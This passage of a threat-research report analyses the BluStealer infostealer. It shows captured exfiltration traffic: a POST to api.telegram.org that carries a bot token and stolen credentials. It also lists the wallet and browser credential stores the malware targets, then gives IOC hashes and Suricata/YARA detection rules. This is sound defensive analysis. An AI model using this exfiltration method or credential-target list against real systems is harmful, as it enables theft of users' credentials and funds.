## 2.0.5 Exfiltration Traffic

Once *ThunderFox* is finished and execution is transferred back to BluStealer's main module, it makes a call to *winhttp.WinHttpConnect*, which returns a connection handle to an HTTP session. As displayed in *Figure 11*, the second argument, specifying the target server, is *api.telegram.org*, which is being used as *BluStealer*'s C2 infrastructure.

🕮 CPU 🛛 🚺 L	og 👘 Notes	📍 Breakpoints	Memory Map	🗐 Call Stack	SEH 🧏	Script	🛯 🔮 Syr	mbols	<> Source	2
71F; 71F; 71F; 71F; 71F; 71F; 71F; 71F;	3387A         CC           3387A         CC           3387C         CC           3387D         CC           3387F         SEC           3387F         SEC           3387S         SEC           3389S         SEC           33890         33CC           33895         SB4E           33895         SB42           33895         SB42           33895         SB42           33895         SB42           33895         SB42	9C0A0000 4 <u>D0FA71</u> FC 08	int3 int3 int3 int3 int3 mov edi,edi push ebp sub esp,esp sub esp,A9C mov eax,ebp mov dword pt mov ecx,dwor xor eax.eax	d ptr ds:[71F r ss:[ebp-4], d ptr ss:[ebp	ADOF4] eax +8]	WinHttpConn		EAX EBX ECX EBP Default 1- [e 3: [e 4: [e	00000000 007E30C8 00000010 0019F05C (stdcall) sp+81_0705 sp+81_0705 sp+21_070000 sp+101_0000	5680 91C0 0188 00000
😻 😓 Dump 1 🛛 👹	🖉 Dump 2 🛛 👹 🛛	oump 3 🛛 🚛 Dump	0 4 📲 Dump 5	🥮 Watch 1	[x=] Locals	Struct				

007D91C0 api.telegram.org.crosoft.NET\Framework\v4.0.30319\AppLaunch.exe. 007D9240 .....C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Figure 11: Call to winhttp.WinHttpConnect

The Final POST request and response from its C2 server can be viewed in *Figure 12* and *Figure 13*, respectively. The request's URL begins with the BotID

1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs, followed by the directory

entitled *sendDocument* with the arguments *chat\_id* and *caption*. The value of *caption* is the name of the text document containing the stolen information, followed by the delimiter *:::*, and the victim's computer name and username.



Date: Wed, 08 Sep 2021 15:26:35 GMT Content-Type: application/json Content-Length: 474 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: \* Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length, Content-Type, Date, Server, Connection

{"ok":true,"result":{"message\_id":373,"from":{"id":1901905375,"is\_bot":true,"first\_name":"Vladmir","username":"Vladmir123bot"},"chat": {"id":1997571710,"first\_name":"Alvin Peter","type":"private"},"date":1631114795,"document": {"file\_name":"credentials.txt","mime\_type":"text/plain","file\_id":"BQACAgQAAxkDAAIBdWE41iuczFKsKX2d0TL13pKzm0eAAJwCwACxRbIUSaajoC3BiluIAQ","file\_unique\_id":"AgADcAsAAsUWyFE","file\_size": 1681},"caption":"credentials.txt::DESKT0P-8771BIR\malware"}}

#### Figure 13: C2 Response

*BluStealer* sends another HTTP POST request, which unlike the first one, is not of the Content-Type *multipart/form-data*. As observed in *Figure 14*, it sends the stolen data as in the first request. However, the URL is different from that of the first one, as it ends in the directory *sendMessage* instead of *sendDocument* and is without arguments. Moreover, the victim's computer name and username are now contained within the *text* parameter and follow the value *Passwords*. It should be noted that the network traffic from *BluStealer*'s June sample shares many similarities with the present sample. However, it is sent over Simple Mail Transfer Protocol (SMTP) rather than HTTP.

```
POST /bot1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUu0bDY0pjs/sendMessage HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 1744
Host: api.telegram.org
text=Passwords:::DESKTOP-8771B1R\malware
Date: 2021-09-02 12:35:59 PM
System: Microsoft Windows NT 6.3.9600.0 (64 Bit)
Username: malware
CompName: DESKTOP-8771B1R
Windows Version: Microsoft Windows 10 Pro - 64-bit
Antivirus: Windows Defender.
CPU: Common KVM processor
GPU: Red Hat QXL controller
RAM: 4095MB
Internal IP: 10.0.6.4
External IP: 184.75.223.195
Url: https://signup.live.com/
Username: z1pp3r21@hotmail.com
Password: Fakepass
Application: Edge Chromium
_____
```

Figure 14: Credentials Exfiltration

## 2.0.6 BluStealer's Main Component's Stealing Capabilities

Besides the ability to load stealing modules and exfiltrate data, the main component also comes with its own stealing capabilities. As shown in *Figure 15*, it makes a call to *msvbvm60.rtcDir*, an undocumented VB runtime function that returns file names from a directory. The directory being inquired about is *Zcash*, which is a cryptocurrency.



#### Figure 15: Cryptocurreny Query

*Figure 16* portrays all the processes, captured by *Process Monitor*, that query cryptocurrency folders. The cryptocurrency wallets targeted include Zcash, Armory, Bytecoin, Jaxx Liberty, Exodus, Ethereum, Electrum, Guarda, and Coinomi.

🧃 P	rocess	Monitor	- Sysint	ternals:	www.sysin	ternals.co	n
File	Edit	Event	Filter	Tools	Ontions	Help	

File Eult Event Filte	ir loois Options	пер			
🖻 🔛   🍳 👺 🖾		<b>M</b>	🎝 🗟 🌋 🖌		
Time of Day	Process Name	PID	Operation	Path	Result
12:30:29.1599301 PM	🔁 unpacked_exe	7844	🛃 CreateFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1600547 PM	🔁 unpacked_exe	7844	QueryDirectory	C:\Users\malware\AppData\Roaming\Zcash	NO SUCH FILE
12:30:29.1601369 PM	🔁 unpacked_exe	7844	CloseFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1605028 PM	🔁 unpacked_exe	7844	🔜 CreateFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1606869 PM	🔁 unpacked_exe	7844	QueryDirectory	C:\Users\malware\AppData\Roaming\Armory	NO SUCH FILE
12:30:29.1607970 PM	🔄 unpacked_exe	7844	CloseFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1611447 PM	🔁 unpacked_exe	7844	🕄 CreateFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1613389 PM	🔁 unpacked_exe	7844	QueryDirectory	C:\Users\malware\AppData\Roaming\bytecoin	NO SUCH FILE
12:30:29.1617353 PM	🔄 unpacked_exe	7844	🔜 CloseFile	C:\Users\malware\AppData\Roaming	SUCCESS
12:30:29.1620860 PM	🖏 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Roaming\com.liberty.jaxx\IndexedDB\	PATH NOT FOUND
12:30:29.1623638 PM	🖏 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Roaming\Exodus\exodus.wallel\	PATH NOT FOUND
12:30:29.1626444 PM	🔁 unpacked_exe	7844	🔜 CreateFile	C:\Users\malware\AppData\Roaming\Ethereum	NAME NOT FOUN
12:30:29.1628866 PM	🔄 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Roaming\Electrum	NAME NOT FOUN
12:30:29.1630535 PM	🔁 unpacked_exe	7844	🔜 CreateFile	C:\Users\malware\AppData\Roaming\atomic\Local Storage\	PATH NOT FOUND
12:30:29.1631969 PM	🔁 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Roaming\Guarda\Local Storage\	PATH NOT FOUND
12:30:29.1633748 PM	🔁 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Local\Coinomi\Coinomi\	PATH NOT FOUND
12:30:29.1636495 PM	🔄 unpacked_exe	7844	CreateFile	C:\Users\malware\AppData\Roaming\Microsoft\Windows\Templates	SUCCESS
12:30:29.1639007 PM	🖏 unpacked_exe	7844	QueryDirectory	C:\Users\malware\AppData\Roaming\Microsoft\Windows\Templates\CryptoWallets	NO SUCH FILE
12:30:29.1640125 PM	🔁 unpacked_exe	7844	CloseFile	C:\Users\malware\AppData\Roaming\Microsoft\Windows\Templates	SUCCESS
- 40.0		1.4.7			

Figure 16: Cryptocurrency Wallets

*BluStealer*'s main component also has keylogging functionality, which is achieved by employing the commonly used method of polling *user32.getAsyncKeyState*, which determines whether a key is pressed or not at the time of the call.

## Conclusion

The newly discovered threat *BluStealer* is equipped with a robust credential stealing tool set and is following the unfortunate trend of utilizing legitimate services, such as *Telegram* and *Discord*, for its malware infrastructure, which makes detection increasingly challenging.

By closely monitoring, analyzing, and reverse engineering, GoSecure Titan Labs, as part of our MDR offering, have created signatures to detect the emerging threats discussed in this report.

Indicators of Compromise		
Туре	Indicator	Description
MD5	1010589761b3051eec33681d0513242a	Malspam Email
MD5	01d4b90cc7c6281941483e1cccd438b2	ISO File

## **Indicators of Compromise**

MD5	6f7302e24899d1c05dcabbc8ec3e84d4	BluStealer's Main Component
MD5	53e09987f7b648fb5c594734a8f7c4e4	ChromeRecovery.exe
MD5	4509c33c251e8e075e4aa95001e35cdf	ConsoleApp8.exe
MD5	00cdcfc91db339be14f441be75e0dec7	5.exe
MD5	6ae510da968ebcbf5a8661c080ac12fd	ThunderFox.exe
MD5	a1329dab78d5bac41e39034d840c30f1	BluStealer June Sample

## Detection

GoSecure Titan Labs are providing the following signatures to help the community in detecting and identifying the threats discussed in this report.

```
alert smtp any any -> $EXTERNAL_NET any (
     msg:"GS MALWARE BluStealer SMTP Exfiltration";
     content:"Subject|3a 20|Passwords::::"; nocase; fast_pattern;
     content:"\"; distance:0;
     flow:to_server, established;
     metadata:created 2021-07-02, type malware.stealer, os windows, tlp white, id 0;
classtype:trojan-activity;
     sid:300001712;
     rev:1;
)
alert http any any -> $EXTERNAL_NET any (
     msg:"GS MALWARE BluStealer HTTP Exfiltration Group 1";
     content:"POST"; http_method;
     content:"caption=credentials.txt:::"; http_uri; nocase; fast_pattern;
     flow:to_server, established;
     metadata:created 2021-09-10, type malware.stealer, os windows, tlp white, id 1;
classtype:trojan-activity;
     sid:300001775;
     rev:1;
)
alert http any any -> $EXTERNAL_NET any
     msg:"GS MALWARE BluStealer HTTP Exfiltration Group 2";
     content:"POST"; http_method;
     content:"text=Passwords:::"; http_client_body; depth:17; nocase; fast_pattern;
flow:to_server, established;
     metadata:created 2021-09-16, type malware.stealer, os windows, tlp white, id 2;
classtype:trojan-activity;
     sid:300001776;
     rev:1;
)
rule malware_other_vb5_loader_0 {
  meta:
     author = "Titan Labs"
     company = "GoSecure"
     description = "VB5/6-based Loaders"
     reference = "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/"
     hash = "6f7302e24899d1c05dcabbc8ec3e84d4"
     created = "2021-09-10"
     os = "windows"
     type = "malware.loader"
     tlp = "white"
     rev = 1
   strings:
     $obfuscated_aSubMain = { 56 42 35 21 [40] 00 00 00 00 }
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     math.entropy(0, filesize) >= 7.0 and
     pe.imports("MSVBVM60.dll", 100) and
     $obfuscated_aSubMain
```

}

```
rule malware_blustealer_0{
  meta:
    author = "Titan Labs"
     company = "GoSecure"
     description = "Blustealer Unpacked Infostealer"
     created = "2020-06-29"
     type = "malware.stealer"
     hash = "a1329dab78d5bac41e39034d840c30f1"
     os = "windows"
    tlp = "white"
     rev = 1
  strings:
     $string1 = "::::" ascii wide
     $string2 = "CompName: " ascii wide
     $string3 = " - 64-bit" ascii wide
     $stealer1 = "COREFTP" ascii wide
     $stealer2 = "Outlook" ascii wide
     $stealer3 = "signons.sqlite" nocase ascii wide
     $stealer4 = "filezilla" nocase ascii wide
     $stealer5 = "nordvpn" nocase ascii wide
     $stealer6 = "firefox" nocase ascii wide
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
    filesize < 464KB and
    2 of ($string*) and
    3 of ($stealer*)
}
rule malware_blustealer_1 {
  meta:
    author = "Titan Labs"
    company = "GoSecure"
     description = "BluStealer Main Component"
     hash = "6f7302e24899d1c05dcabbc8ec3e84d4"
     created = "2021-09-10"
    os = "windows"
     type = "malware.stealer"
    tlp = "white"
    rev = 1
  strings:
     $obfuscated_aSubMain = { 56 42 35 21 [40] 00 00 00 00 }
     $MSVBVM60 = "MSVBVM60.dll" ascii wide nocase
     $decryption_routine = { 8b [5] 8b [2] 03 [5] 0f 80 [4] 8b [5] 89 [2] 8b [5] 8b
                        [2] 3b [5] 7f ?? ff 7? ?? 8b [2] ff 3? e8 [4] 8b ?? 8b
                        [5] ff 7? ?? 8b [5] ff 7? ?? e8 [4] 8a ?? 32 ?? ff 7?
                        ?? 8b [2] ff 3? e8 [4] 88 ?? 8b [2] 83 c? ?? 0f 80 [4]
                        89 [2] eb }
     $behavior_0 = "https://api.telegram.org/bot" ascii wide
     $behavior_1 = "/sendDocument?chat_id=" ascii wide
     $behavior_2 = "&caption=" ascii wide
     $behavior_3 = "text=" ascii wide
     $behavior_4 = "&chat_id=" ascii wide
     $behavior_5 = "Content-Disposition: form-data; name=\"document\"; filename=\""
```

```
ascii wide
     $behavior_6 = "\\Ethereum\\keystore" ascii wide
     $behavior_7 = "RegWrite" ascii wide
     $behavior_8 = "\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" ascii wide
     $behavior_9 = "\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe" ascii
wide
     $behavior 10 =
"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" ascii wide
     $behavior_11 = "GetAsyncKeyState" ascii wide
     $behavior_12 = "SHFileOperationA" ascii wide
     $behavior_13 = "GetDesktopWindow" ascii wide
     $behavior_14 = "SHGetSpecialFolderLocation" ascii wide
     $behavior_15 = "SHGetPathFromIDListA" ascii wide
     $behavior_16 = "CallWindowProcW" ascii wide
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     $obfuscated_aSubMain and
     $MSVBVM60 and
     ($decryption_routine or 13 of ($behavior_*))
}
rule malware_thunder_fox_gzip_0 {
  meta:
     author = "Titan Labs"
     company = "GoSecure"
     description = "Gzip Compressd ThunderFox Stealer"
     hash = "00cdcfc91db339be14f441be75e0dec7"
     created = "2021-09-15"
     os = "windows"
     type = "malware.stealer"
     tlp = "white"
     rev = 1
   strings:
     $compressed_payload = { 00 00 00 00 00 20 FA 48 04 00 1F 8B 08 00 00 00
                         00 00 04 00 AC BD 09 80 1C 47 75 37 3E D3 77 CF
                         B5 5B D3 B3 3D B3 BB D2 CE 4A F2 4A AD E9 99 95
                         76 57 C7 4A 3E 24 1F F8 C4 B6 6C 0B 7B 46 3E 24 }
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     $compressed_payload
}
rule malware_thunder_fox_0 {
  meta:
     author = "Titan Labs"
     company = "GoSecure"
     description = "ThunderFox Stealer"
     hash = "6ae510da968ebcbf5a8661c080ac12fd"
     created = "2021-09-15"
     os = "windows"
     type = "malware.stealer"
     tlp = "white"
     rev = 1
   strings:
```

```
$browser_0 = "Pale Moon" nocase ascii wide
     $browser_1 = "Firefox" nocase ascii wide
     $browser_2 = "Waterfox" nocase ascii wide
     $browser_3 = "K-Meleon" nocase ascii wide
     $browser_4 = "Thunderbird" nocase ascii wide
     $browser_5 = "IceDragon" nocase ascii wide
     $browser_6 = "Cyberfox" nocase ascii wide
     $browser_7 = "BlackHawK" nocase ascii wide
     $data_store_0 = "logins.json" nocase ascii wide
     $data_store_1 = "key4.db" nocase ascii wide
     $data_store_2 = "signons.sqlite" nocase ascii wide
     $data_store_3 = "key3.db" nocase ascii wide
     $data_store_4 = "moz_logins" nocase ascii wide
     $user_cred_0 = "hostname" nocase ascii wide
     $user_cred_1 = "encryptedUsername" nocase ascii wide
     $user_cred_2 = "encryptedPassword" nocase ascii wide
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     5 of ($browser_*) and
     3 of ($data_store_*) and
     2 of ($user_cred_*)
}
rule malware_other_stealer_2 {
  meta:
     author = "Titan Labs"
     company = "GoSecure"
     description = "Generic Windows Vault Credential Stealer"
     reference =
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-
VaultCredential.hash = "4509c33c251e8e075e4aa95001e35cdf"
     created = "2021-09-10"
    os = "windows"
     type = "malware.stealer"
     tlp = "white"
     rev = 1
   strinas:
     $s1 = "2F1A6504-0641-44CF-8BB5-3612D865F2E5" ascii wide
     $s2 = "Windows Secure Note" ascii wide
     $s3 = "3CCD5499-87A8-4B10-A215-608888DD3B55" ascii wide
     $s4 = "Windows Web Password Credential"ascii wide
     $s5 = "154E23D0-C644-4E6F-8CE6-5069272F999F" ascii wide
     $s6 = "Windows Credential Picker Protector" ascii wide
     $s7 = "4BF4C442-9B8A-41A0-B380-DD4A704DDB28" ascii wide
     $s8 = "Web Credentials" ascii wide
     $s9 = "77BC582B-F0A6-4E15-4E80-61736B6F3B29" ascii wide
     $s10 = "Windows Credentials" ascii wide
     $s11 = "E69D7838-91B5-4FC9-89D5-230D4D4CC2BC" ascii wide
     $s12 = "Windows Domain Certificate Credential" ascii wide
     $s13 = "3E0E35BE-1B77-43E7-B873-AED901B6275B" ascii wide
     $s14 = "Windows Domain Password Credential" ascii wide
     $s15 = "3C886FF3-2669-4AA2-A8FB-3F6759A77548" ascii wide
     $s16 = "Windows Extended Credential" ascii wide
```

```
condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     all of them
}
rule malware_other_stealer_3 {
  meta:
     author = "Titan Labs"
     company = "GoSecure"
     description = "Generic WinSCP Credential Stealer"
     reference = "https://gist.github.com/jojonas/07c3771711fb19aed1f3"
     hash = "4509c33c251e8e075e4aa95001e35cdf"
    created = "2021-09-10"
     os = "windows"
    type = "malware.stealer"
    tlp = "white"
     rev = 1
  strings:
     $s1 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions" ascii wide nocase
     $s2 = "HostName" ascii wide nocase
     $s3 = "UserName" ascii wide nocase
     $s4 = "Password"ascii wide nocase
  condition:
     uint16(0) == 0x5a4d and
     uint32(uint32(0x3c)) == 0x00004550 and
     all of them
}
```